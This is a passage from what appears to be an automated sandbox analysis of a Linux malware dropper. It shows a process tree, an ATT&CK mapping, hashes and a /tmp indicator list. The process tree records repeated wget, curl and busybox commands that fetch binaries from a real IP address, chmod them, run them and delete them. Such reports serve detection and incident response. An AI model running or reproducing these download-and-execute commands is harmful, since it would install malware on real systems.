  chmod 777 j6ia1brhTeQgT27FnW7Ps5axQZ6O1WoYCD
  2⤵
  - File and Directory Permissions Modification
  PID:956
- /tmp/j6ia1brhTeQgT27FnW7Ps5axQZ6O1WoYCD
  ./j6ia1brhTeQgT27FnW7Ps5axQZ6O1WoYCD
  2⤵
  - Executes dropped EXE
  PID:957
- /bin/rm
  rm j6ia1brhTeQgT27FnW7Ps5axQZ6O1WoYCD
  2⤵
  PID:958
- /usr/bin/wget
  wget http://87.120.84.230/bins/tR4hkNqLuRv7ZCH8r8C45pKPAAEe5RxGLg
  2⤵
  PID:959
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/tR4hkNqLuRv7ZCH8r8C45pKPAAEe5RxGLg
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:960
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/tR4hkNqLuRv7ZCH8r8C45pKPAAEe5RxGLg
  2⤵
  PID:961
- /bin/chmod
  chmod 777 tR4hkNqLuRv7ZCH8r8C45pKPAAEe5RxGLg
  2⤵
  - File and Directory Permissions Modification
  PID:962
- /tmp/tR4hkNqLuRv7ZCH8r8C45pKPAAEe5RxGLg
  ./tR4hkNqLuRv7ZCH8r8C45pKPAAEe5RxGLg
  2⤵
  - Executes dropped EXE
  PID:963
- /bin/rm
  rm tR4hkNqLuRv7ZCH8r8C45pKPAAEe5RxGLg
  2⤵
  PID:964
- /usr/bin/wget
  wget http://87.120.84.230/bins/fpfSoKKUXKadIoaq7D6BIQPdnf3FZgmZdw
  2⤵
  PID:965
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/fpfSoKKUXKadIoaq7D6BIQPdnf3FZgmZdw
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:966
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/fpfSoKKUXKadIoaq7D6BIQPdnf3FZgmZdw
  2⤵
  PID:967
- /bin/chmod
  chmod 777 fpfSoKKUXKadIoaq7D6BIQPdnf3FZgmZdw
  2⤵
  - File and Directory Permissions Modification
  PID:968
- /tmp/fpfSoKKUXKadIoaq7D6BIQPdnf3FZgmZdw
  ./fpfSoKKUXKadIoaq7D6BIQPdnf3FZgmZdw
  2⤵
  - Executes dropped EXE
  PID:969
- /bin/rm
  rm fpfSoKKUXKadIoaq7D6BIQPdnf3FZgmZdw
  2⤵
  PID:970
- /usr/bin/wget
  wget http://87.120.84.230/bins/qkYvIWEAuz1x8GMnhMa68UeBjPlZ48i7fB
  2⤵
  PID:971
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/qkYvIWEAuz1x8GMnhMa68UeBjPlZ48i7fB
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:972
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/qkYvIWEAuz1x8GMnhMa68UeBjPlZ48i7fB
  2⤵
  PID:973
- /bin/chmod
  chmod 777 qkYvIWEAuz1x8GMnhMa68UeBjPlZ48i7fB
  2⤵
  - File and Directory Permissions Modification
  PID:974
- /tmp/qkYvIWEAuz1x8GMnhMa68UeBjPlZ48i7fB
  ./qkYvIWEAuz1x8GMnhMa68UeBjPlZ48i7fB
  2⤵
  - Executes dropped EXE
  PID:975
- /bin/rm
  rm qkYvIWEAuz1x8GMnhMa68UeBjPlZ48i7fB
  2⤵
  PID:976

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

PZZBvluhwhSO2p8iibQDofx2gfTy59AqVW

Path /tmp/PZZBvluhwhSO2p8iibQDofx2gfTy59AqVW
Size 153B
SHA256 533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
MD5 998368d7c95ea4293237f2320546e440
SHA1 30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4
SHA512 648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97
MD5 SHA1 SHA512

Submit Download

ioc	pid	Process
/tmp/PZZBvluhwhSO2p8iibQDofx2gfTy59AqVW	735	PZZBvluhwhSO2p8iibQDofx2gfTy59AqVW
/tmp/RRNb6V64LVMOv5G3j2Wlb81iwAiY1fLUci	741	RRNb6V64LVMOv5G3j2Wlb81iwAiY1fLUci
/tmp/lH0kGjseMzL73jFo6nsq2lmprj57zQmQC5	765	lH0kGjseMzL73jFo6nsq2lmprj57zQmQC5
/tmp/2BkcRt9likIjRh8QY2MQF6uprmyKtaXkDW	798	2BkcRt9likIjRh8QY2MQF6uprmyKtaXkDW
/tmp/xA5sCK1OL7b2ZyFzjuChRqM2VxOizPWffz	812	xA5sCK1OL7b2ZyFzjuChRqM2VxOizPWffz
/tmp/3HF0hS4P2TAhQbd2f9gQwJqusMLjssLEuu	839	3HF0hS4P2TAhQbd2f9gQwJqusMLjssLEuu
/tmp/j6ia1brhTeQgT27FnW7Ps5axQZ6O1WoYCD	846	j6ia1brhTeQgT27FnW7Ps5axQZ6O1WoYCD
/tmp/tR4hkNqLuRv7ZCH8r8C45pKPAAEe5RxGLg	852	tR4hkNqLuRv7ZCH8r8C45pKPAAEe5RxGLg
/tmp/fpfSoKKUXKadIoaq7D6BIQPdnf3FZgmZdw	861	fpfSoKKUXKadIoaq7D6BIQPdnf3FZgmZdw
/tmp/qkYvIWEAuz1x8GMnhMa68UeBjPlZ48i7fB	867	qkYvIWEAuz1x8GMnhMa68UeBjPlZ48i7fB
/tmp/AraaNs6rHzqSDzsUhLOeeFsOsbg6PxazO2	873	AraaNs6rHzqSDzsUhLOeeFsOsbg6PxazO2
/tmp/W2eBo1fREDkbvJIviZQBGivtlg7kRT4UhW	879	W2eBo1fREDkbvJIviZQBGivtlg7kRT4UhW
/tmp/hzK9faCG5WdufbVzj4UrbI1yHjxCDbzgOn	885	hzK9faCG5WdufbVzj4UrbI1yHjxCDbzgOn
/tmp/Q29wYv4TfUMLhyV6ZpkLyzftIhHtzP9O2t	891	Q29wYv4TfUMLhyV6ZpkLyzftIhHtzP9O2t
/tmp/W2eBo1fREDkbvJIviZQBGivtlg7kRT4UhW	897	W2eBo1fREDkbvJIviZQBGivtlg7kRT4UhW
/tmp/hzK9faCG5WdufbVzj4UrbI1yHjxCDbzgOn	903	hzK9faCG5WdufbVzj4UrbI1yHjxCDbzgOn
/tmp/Q29wYv4TfUMLhyV6ZpkLyzftIhHtzP9O2t	909	Q29wYv4TfUMLhyV6ZpkLyzftIhHtzP9O2t
/tmp/PZZBvluhwhSO2p8iibQDofx2gfTy59AqVW	915	PZZBvluhwhSO2p8iibQDofx2gfTy59AqVW
/tmp/RRNb6V64LVMOv5G3j2Wlb81iwAiY1fLUci	921	RRNb6V64LVMOv5G3j2Wlb81iwAiY1fLUci
/tmp/lH0kGjseMzL73jFo6nsq2lmprj57zQmQC5	927	lH0kGjseMzL73jFo6nsq2lmprj57zQmQC5
/tmp/2BkcRt9likIjRh8QY2MQF6uprmyKtaXkDW	933	2BkcRt9likIjRh8QY2MQF6uprmyKtaXkDW
/tmp/xA5sCK1OL7b2ZyFzjuChRqM2VxOizPWffz	939	xA5sCK1OL7b2ZyFzjuChRqM2VxOizPWffz
/tmp/3HF0hS4P2TAhQbd2f9gQwJqusMLjssLEuu	945	3HF0hS4P2TAhQbd2f9gQwJqusMLjssLEuu
/tmp/AraaNs6rHzqSDzsUhLOeeFsOsbg6PxazO2	951	AraaNs6rHzqSDzsUhLOeeFsOsbg6PxazO2
/tmp/j6ia1brhTeQgT27FnW7Ps5axQZ6O1WoYCD	957	j6ia1brhTeQgT27FnW7Ps5axQZ6O1WoYCD
/tmp/tR4hkNqLuRv7ZCH8r8C45pKPAAEe5RxGLg	963	tR4hkNqLuRv7ZCH8r8C45pKPAAEe5RxGLg
/tmp/fpfSoKKUXKadIoaq7D6BIQPdnf3FZgmZdw	969	fpfSoKKUXKadIoaq7D6BIQPdnf3FZgmZdw
/tmp/qkYvIWEAuz1x8GMnhMa68UeBjPlZ48i7fB	975	qkYvIWEAuz1x8GMnhMa68UeBjPlZ48i7fB